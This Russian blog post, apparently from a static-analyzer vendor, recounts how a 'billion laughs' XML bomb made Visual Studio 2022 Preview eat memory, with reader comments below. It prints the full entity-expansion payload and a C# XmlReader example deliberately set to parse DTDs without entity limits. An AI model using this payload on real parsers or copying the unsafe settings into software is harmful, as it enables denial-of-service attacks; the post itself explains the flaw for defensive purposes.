0865_VS2022_XMLBomb_ru/image1.png


В апреле 2021 года Microsoft анонсировала новую версию своей IDE – Visual Studio 2022, попутно объявив, что она будет 64-битной. Сколько мы этого ждали — больше никаких ограничений по памяти в 4 Гб! Однако, как оказалось, есть нюансы...


Кстати, если вы пропустили, вот ссылка на тот пост с анонсом.


Но вернёмся к нашему вопросу из заголовка. Я воспроизвёл эту проблему на последней доступной на момент написания заметки версии Visual Studio 2022 Preview — 17.0.0 Preview 3.1.


Для воспроизведения достаточно:


  • создать проект пустого решения (шаблон Blank Solution);
  • добавить в него XML-файл.

После этого в созданный XML-файл нужно попробовать скопировать следующий текст:


<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
 <!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
 <!ENTITY lol11 
   "&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;">
 <!ENTITY lol12 
   "&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;">
 <!ENTITY lol13 
   "&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;">
 <!ENTITY lol14 
   "&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;">
 <!ENTITY lol15 
   "&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;">
]>
<lolz>&lol15;</lolz>

Теперь идём заваривать кофе, возвращаемся и наблюдаем за тем, как Visual Studio отжирает всё больше и больше ОЗУ.


0865_VS2022_XMLBomb_ru/image2.png


Могут возникнуть 2 вопроса:


  1. Зачем делать какие-то странные XML и добавлять их в проекты?
  2. Что здесь вообще происходит?

Что ж, давайте разбираться. Для этого нам нужно будет вспомнить, какие опасности может нести неаккуратная обработка XML-файлов, а также узнать, как со всем этим связан статический анализатор PVS-Studio.


SAST в PVS-Studio


Мы продолжаем активно развивать PVS-Studio как SAST решение. Если говорить про C# анализатор, то основной фокус по этому фронту – поддержка OWASP Top 10 2017 (последняя доступная на данный момент версия – с нетерпением ждём обновления). К слову, если вы пропустили, не так давно мы добавили taint анализ, о чём можно почитать здесь.


Собственно, для тестирования работы анализатора я и создал (точнее, попытался создать) соответствующий синтетический проект. Дело в том, что одна из категорий OWASP Top 10, над которой сейчас ведётся работа, – A4:2017-XML External Entities (XXE). Она затрагивает уязвимость приложений к различным атакам посредством неправильной обработки XML-файлов. Что подразумевается под неправильной обработкой? Например, излишнее доверие к входным данным (извечная проблема многих уязвимостей) и отсутствие должных ограничений в парсерах XML.


В итоге, если файлы окажутся скомпрометированы, это может вылиться в разные неприятные последствия. Здесь можно выделить 2 основные проблемы: раскрытие каких-то данных и отказ в обслуживании. Обе имеют соответствующие CWE:



CWE-611 оставим на другой раз, сегодня нас интересует CWE-776.


XML бомбы (billion laughs attack)


Я поясню только основную суть проблемы. Если у вас есть желание изучить проблему глубже – топик легко гуглится, не обессудьте.


Стандарт XML предусматривает использование DTD (document type definition). DTD даёт возможность использовать так называемые XML-сущности.


Синтаксис определения сущностей прост:


<!ENTITY myEntity "Entity value">

Получить значение сущности в дальнейшем можно следующим образом:


&myEntity;

Нюанс состоит в том, что сущности могут раскрываться не только в строки (как в нашем случае — "Entity value"), но и в последовательности других сущностей. Например:


<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

В итоге при раскрытии сущности 'lol1' мы получим строку следующего вида:


lollollollollollollollollollol

Можно пойти дальше и определить сущность 'lol2', раскрыв её уже через 'lol1':


<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">

Тогда при раскрытии одной лишь сущности 'lol2' мы получим следующий выхлоп:


lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollol

Погрузимся на уровень ниже и определим сущность 'lol3'?


<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

Выхлоп при её раскрытии:


lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
....

Собственно, сгенерированный по такому принципу XML-файл мы и использовали в начале статьи. Думаю, теперь понятно, откуда название "billion laughs". Получается, что если XML-парсер настроен неправильно (обрабатывает DTD и не имеет ограничений на максимальный размер сущностей), то при обработке подобной 'бомбы' ничего хорошего не случится.


Если говорить про C#, уязвимый код проще всего продемонстрировать на примере типа XmlReader:


var pathToXmlBomb = @"D:\XMLBomb.xml";
XmlReaderSettings rs = new XmlReaderSettings()
{
  DtdProcessing = DtdProcessing.Parse,
  MaxCharactersFromEntities = 0
};

using var reader = XmlReader.Create(File.OpenRead(pathToXmlBomb), rs);
while (reader.Read())
{
  if (reader.NodeType == XmlNodeType.Text)
    Console.WriteLine(reader.Value);
}

Сконфигурировав экземпляр XmlReader подобным образом, вы как бы говорите злоумышленнику этим кодом: "Давай, подорви меня!".


Причины две:


  • разрешена обработка DTD;
  • снято ограничение на максимальное количество символов из сущностей, то есть разрастание файла никак не ограничено.

По умолчанию, кстати, обработка DTD сущностей запрещена: свойство DtdProcessing имеет значение Prohibit, а на максимальное количество символов из сущностей стоит ограничение (начиная с .NET Framework 4.5.2). Так что в современном .NET всё меньше возможностей прострелить себе ногу. Хотя при неаккуратном конфигурировании парсеров это всё ещё возможно.


Возвращаясь к Visual Studio 2022


Похоже, что в Visual Studio 2022 при копировании нашей XML бомбы сработали как раз оба условия:


  • запустилась обработка DTD;
  • не стояло никаких ограничений, из-за чего объём потребляемой памяти пробил потолок.

Если посмотреть, что происходит в процессе в это время, можно найти подтверждение нашим предположениям.


0865_VS2022_XMLBomb_ru/image3.png


В списке потоков видно, что основной поток как раз обрабатывает XML. К слову, из-за этого повис весь GUI и IDE никак не реагировала на попытки потыкать её палочкой.


Если посмотреть call stack потока VS Main, можно увидеть, что он как раз занят обработкой DTD (исполняется метод ParseDtd).


0865_VS2022_XMLBomb_ru/image4.png


В ходе экспериментов у меня возник вопрос: а зачем Visual Studio вообще запускает процессинг DTD, почему просто не отображает XML как есть? Ответ пришёл в ходе экспериментов с 'XML-бомбочкой' (суть та же, но нагрузка поменьше).


Похоже, всё дело в том, чтобы отображать в редакторе "на лету" возможные значения сущностей.


0865_VS2022_XMLBomb_ru/image5.png


Небольшие значения обрабатываются успешно, но разрастание XML приводит к проблемам.


Конечно, такая проблема не могла обойтись без написания мной баг-репорта.


Заключение


Вот так неожиданным образом удалось посмотреть, как на практике могут выглядеть уязвимости к XML-бомбам. Самое интересное, что удалось пощупать это не на каком-то абстрактном примере, а на вполне знакомом и популярном приложении.


Мы планируем добавить поиск кода, уязвимого к проблемам обработки XML-файлов, в PVS-Studio 7.15. Если же интересно посмотреть, что анализатор умеет уже сейчас, предлагаю загрузить его и попробовать на своих проектах. ;)


Как всегда, приглашаю подписываться на мой Twitter, чтобы не пропустить ничего интересного.


Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Vasiliev. How Visual Studio 2022 ate up 100 GB of memory and what XML bombs had to do with it.

Комментарии (31)


  1. derikn_mike
    07.09.2021 18:09

    Главное проблема в 2021 это не физическая память , а пожирании виртуальной


    1. princessmilana
      07.09.2021 18:16
      +1

      image

      Вот они твои оставшиеся 30


      1. Shished
        07.09.2021 18:44

        Кэш должен выдавливаться, разве нет?


        1. mvv-rus
          07.09.2021 20:41
          +1

          Да, должен. Но не сразу. Если страница кэша «грязная» (содержимое не записано на диск) — то ее содержимое сначала надо сохранить.


    1. DartfoL
      07.09.2021 20:12
      +1

      на самом деле смотреть надо сюда, это реальное использование памяти


    1. inklesspen
      23.09.2021 00:20

      Эта проблема терроризировала меня долго и была обнаружена в Windows 11 Dev сборке.
      Количество виртуальной памяти ограничивается количеством реальной памяти + размером файла подкачки, скорее всего у тебя файл подкачки отключен. Попробуй выставить файл подкачки в автоматическом режиме и хорошенько освободить жесткий диск для файла подкачки без данных. Достаточно будет какого-нибудь даже медленного диска, просто чтобы система понимала, что, в случае отсутствия сжатия памяти, данные будет куда деть.
      Я, на самом деле, на хабре статью об этом хотел написать, но посчитал, что не стоит того.


  1. DrMefistO
    07.09.2021 20:32
    +1

    В 2019 такая проблема имеется?


    1. foto_shooter Автор
      07.09.2021 21:00
      +12

      Я сначала подумал, что в Visual Studio 2019 срабатывает какая-то защита, но всё оказалось немного интереснее.

      Попробовал добавить XML'ку из статьи - поведение поначалу повторялось - GUI повис, Visual Studio начала отжирать память. На отметке ~3Гб GUI отвис, потребляемая память сбросилась примерно до 200Мб, но... потом снова начала расти. Примерно до 3Гб - сборс до 300Мб, 3Гб - 300Мб. Уже несколько циклов таких наблюдаю - всё не сдаётся, пытается распарсить.

      Какая настойчивость, однако! :)


      1. semmaxim
        07.09.2021 23:43
        +1

        Может, это связано с каким-то компонентом? В 2019 он был 32-х битным, а в 2022 стал 64-битным.


        1. vladkorotnev
          08.09.2021 03:20

          А 2019 студия вообще 64-битная сама по себе? Потому что отлаживать винформс-приложения под чистое х64 на ней — боль и ад, постоянно приходится включать х86 и собирать, чтоб юзерконтролы находились и редактор не падал с ошибкой. 64-битные контролы она не видит.


          1. foto_shooter Автор
            08.09.2021 05:07
            +3

            VS 2019 и более ранние выпуски - 32-битные. 64-битность VS 2022 - главная фишка версии новой IDE. Думаю, особенно ждали этого разработчики плагинов для VS. :)


  1. Zverenish
    07.09.2021 21:09
    +24

    — Сколько памяти занимает Windows?
    — Сколько найдет, столько и занимает

    (с) бородатый анекдот из 90ых.


    1. crea7or
      07.09.2021 22:20
      +17

      Это теперь считается правильным поведением.


  1. FlameStorm
    07.09.2021 22:26
    -6

    Когда стало не хватать 10 Гб на машине Современного Программиста мне было уже очень стыдно. А тут уже сотня...

     

    DOS

    Чёрной пеленой экран заполнил чистый DOS.

    Мышь

    Потеряла форму, стала вдруг квадратной мышь.

    Я разбил окно

    Девяносто пятое, мастдайное окно

    И поставил DOS, и тогда я понял

    Это счастье - вот оно.

    * * *

    Слёзы на очках

    Странные очки, а может слёзы на лице

    DOS очистил всё, всё что было лишним

    У меня на диске C:

    Я нажал F8, и весёлый Norton

    Удалял мне всё подряд -

    Сорок мегабайт, может даже больше

    Может даже шестьдесят.

    * * *

    И представил я

    Город наводнился вдруг разумными людьми -

    Вышли все под DOS!

    А проклятый Windows

    Удаляли, чёрт возьми!

    Позабыв про Word

    MS Excel, Corel Draw и прочий геморрой

    Люди ставят DOS

    Словно в рай заходят в DOS

    Нормальный чистый DOS.

    -----/ подписано в винампе как "DOS", DiBa, 2:5020/720.10 , From Fido with love :-) 1999 /-----


    1. vladkorotnev
      08.09.2021 03:23
      +10

      То есть если под досом запустить программу while(true) { malloc(1024); }, аналогичную ситуации в статье, то она, по вашему, не сожрёт всю доступную память только потому что она под досом?


      1. inemiten
        08.09.2021 08:24
        +1

        Нет. Т.к. под DOS даже с XMS в защищенном режиме, доступно всего 4 GB (по факту - меньше).


      1. FlameStorm
        09.09.2021 13:30

        Дело не в конкретном примере рекурсивного выделения памяти. А про деградацию. Количества эффективных полезных вычислений на такт процессора. Количества эффективных полезных занимаемых бит в ОЗУ. Или на винте.

        - Давайте вот тут вместо явно ожидаемого простого цикла забубеним вызов модной функции которая в цикле внутри наколбечит нам нашу сахарную лямбда функцию, смотрите как красиво! Что, какой стек, какие CALL и RET, регистры, вы на каком языке разговариваете вообще?

        - Давайте всё будет объект! И даже 1 и false тоже, всё. Это так круто. Да подумаешь для хранения одной буквы там на абстракциях съедается в сумме 308 байт, смешно, это же даже ещё не Кибибайт, о чём речь. Какой такой "чар", столица зергов чтоль? Унсигнед байт? Ой, уберите наркомана. Кстати нам потребуются ещё вот эти 148 npm пакетов. Только вон тот берите строго версии 1.4.17, а то ниже 1.14.2 у нас сзади бампер отваливается, а с 1.4.18 движок сквозь дно вылетает..

        И вот это всё многослойным мыльным пузырём на пузыре оплетает сферы разработки везде - в коде, в IDE, на серверах, на сетевых потоках пакетов реквестов разной степени полезности. И вроде бы становится же лучше, удобней, даже бывает быстрее писать код и в целом что-то воплощать. Хотя от постоянной нынешней гонки средний процент костылей и неэффективных реализаций алгоритмов явно ползёт вверх. А копнёшь внутрь...


    1. mrbaranovskyi
      08.09.2021 08:43

      "Раньше было лучше" (с)


  1. euroUK
    08.09.2021 10:34

    Мне непонятна проблема. Тут вполне ожидаемое поведение, все работает так, как должно работать. Вы же можете написать бесконечный цикл который жрет все ядра ЦПУ? Но вы не будете ругать студию, что она дает вам возможность написать такой код и даже его запускает?


    1. arman_ka
      08.09.2021 11:37
      +4

      Очевидно что программа с бесконечным циклом не запускается пока ты её не запустишь, а здесь ты просто импортировал файл, да и среда программирования тем более не должна зависать и потреблять бесконечно памяти при таких ошибках, а наоборот должна сообщать о них на этапе анализа, потому что программист всегда может случайно сделать такую ошибку, а с автоматически зависающей средой он очень долго будет её искать.


      1. euroUK
        08.09.2021 14:03

        Есть подозрение, что если не открывать файл, то такого поведения не будет, в статье речь идет о вставке по-живому в открытый в VS файл.


    1. foto_shooter Автор
      08.09.2021 14:25
      +2

       Вы же можете написать бесконечный цикл который жрет все ядра ЦПУ?

      Если я просто напишу бесконечный цикл и не стану компилировать/запускать приложение, мне бы не хотелось, чтобы IDE сама попробовала его вычислить, начала жрать ресурсы и зависла . :)

      Не было бы разговоров, если я бы я написал код, уязвимый к данной проблеме, запустил его и подал на вход соответствующий файл - окей, сам виноват.

      Но здесь проблема однозначно на стороне IDE - нужно ограничивать такие операции. Собственно, я думаю факт, что в VS 2019 этой проблемы и не было и что MS фиксят этот баг в VS 2022, свидетельствует о том, что это именно не ожидаемое поведение.


  1. wolfy_str
    08.09.2021 10:47
    -18

    А нафиг какой то кал вставлять в XML? Он даже не читабельный. Знаете любой уважающий себя студент-программист мог "повесить" программу ещё на первом курсе - сделав бесконечный цикл. Более того, ничего не умея удавалось случайно просто и не только сделать зависание программы, но и так что бы она вылетала (тогда был турбопаскаль). Тогда преподаватель ещё говорил что никогда такого раньше не видел, но сейчас я думаю, что он говорил не правду. Я конечно, больше по Java, но там написан какой то несвязный бред.Так что не пишите бред и да вижуал студио 64 битная есть уже давно, просто раньше был выбор между 32 битной и 64 битной, сейчас просто нет.


    1. lair
      08.09.2021 11:17
      +6

      А нафиг какой то кал вставлять в XML?

      Это же стандартная атака на систему.


      Так что не пишите бред и да вижуал студио 64 битная есть уже давно

      Пруф, пожалуйста.


      1. zetroot
        08.09.2021 14:28
        +2

        64 битная студия, которая "есть уже давно", называется Rider :-)


    1. vikarti
      08.09.2021 13:13

      https://habr.com/ru/company/yandex/blog/219311/#comment_7495221


      qw1
      15 апреля 2014 в 00:55

      Задание с финала школьной олимпиады Китая 2018 года по хакерству:
      — сгенерируйте предложение, на разбор которого парсер с указанной грамматикой потратит более 32ГБ памяти.


    1. foto_shooter Автор
      08.09.2021 14:31

      А нафиг какой то кал вставлять в XML? Он даже не читабельный. 

      Про это написано в статье:

      Могут возникнуть 2 вопроса:

      1. Зачем делать какие-то странные XML и добавлять их в проекты?

      2. Что здесь вообще происходит?

      Что ж, давайте разбираться...

      Про Visual Studio.

      да вижуал студио 64 битная есть уже давно, просто раньше был выбор между 32 битной и 64 битной

      Нет, предыдущие выпуски Visual Studio (до 2022) - 32-битные.


  1. Krypt
    08.09.2021 13:58
    +2

    Тот факт, что бомба сработала при создании багрепорта (отсутствующий превью на сайте) забавен вдвойне.


    1. foto_shooter Автор
      08.09.2021 14:39
      +4

      Не думаю, но у них явно есть определённые проблемы в процедурой фидбека. Целая история была, про которую можно отдельную заметку писать.

      Первое - нельзя оставить фидбек просто зарегистрировавшись на форуме (или я не понял, как). Нужно обязательно открыть Visual Studio, нажать там на соответствующую кнопку, после чего происходит редирект на сайт, где после авторизации можно оставить репорт. При том, что я был авторизован на сайте, при переходе на него через Visual Studio авторизация слетала, а залогиниться я не мог (не осталось скриншота ошибки).

      В итоге после нескольких попыток всё-таки удалось. Оформил репорт, всё красиво выглядит, все есть - успокоился.

      Вечером увидел опечатку в заголовке, решил поправить, но... не мог применить изменения из-за ошибки, указанной мной в комментариях. Пробовал несколько раз - безуспешно.

      Окееей... оставил как есть. В итоге после первого комментария бота заголвок всё же был исправлен (я не понял, то ли со стороны MS, то ли с моей стороны как-то запрос на правки всё же прошёл), но... сломалась вся разметка. Картинки, списки, ссылки - всё превариталось в сплошное полотно текста.

      Пытаюсь править - опять не даёт сохранить изменения. Несколько попыток - безуспешно. В итоге написал в комментариях о том, что всё сломалось, починить не удаётся.

      Через какое-то время всё чинится само (или не само, вообще не понимаю, как там всё работает), но... из репорта пропадает сам XML-файл.

      Пришлось зааттачить его в комментариях.

      Целое приключение, в общем.


  1. Smileedition
    16.09.2021 07:20
    +3

    в clion есть ограничение:)


  1. foto_shooter Автор
    09.11.2021 14:04

    Вчера попробовал на релизной версии Visual Studio 2022. У меня 'отжор' остановился где-то на 6Гб. При наведении на XML-сущности выдаётся окошко со ссылкой. Жаль только, что щёлкнуть на неё вроде как нельзя. :)

    В любом случае, ведёт она сюда. В общем, теперь самому можно задавать лимиты при обработке XML-документа.